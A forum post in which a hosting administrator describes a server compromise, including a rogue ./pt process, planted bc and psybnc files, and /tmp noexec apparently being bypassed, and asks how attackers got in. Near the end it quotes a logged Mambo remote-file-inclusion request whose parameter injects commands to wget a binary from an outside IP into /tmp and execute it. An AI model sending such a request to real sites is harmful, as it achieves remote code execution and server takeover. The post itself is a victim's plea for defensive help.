Hi all.
Last december my server was hacked: a massive deface using the /tmp executable bug. After that we replace server with a new EV1 HD and cPanel image. We checked /tmp and they are all as a partition on /etc/fstab with something like "/dev/hda3 /tmp ext3 defaults,noexec 1 0".
Today, when I'm running top apllication (I usually run it while I'm working) I saw a ./pt process using lot of resources and running as nobody, I think was nobody. I get in panic and I kill it imediatly. I made a serach over forums.cpanel.net and found that ./pt is maybe an haking attempt. I got some strange IPs from Russia and Turkey (allways the same) at http logs and baned them from my machine. Finaly I made a ls /etc and voila! a ./bc and psybnc files and directory... bc has run permitions. I removed those files but I have a question.... How can they run apllications in /tmp if it is noexec? How do I know what was affected? How can they download applications to my server? Using mambo, oscommerce or phpbb (I usually patch phpbb)?
I can't sleep till I know how can they get in and how can I protect my server!
I found lots ofwhich seems somebody are using mambo bug to open URLs on other server where they are hacking...PHP Code:/index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo|
What can I do to avoid mass defaces?
Kind regards!



LinkBack URL
About LinkBacks
Reply With Quote







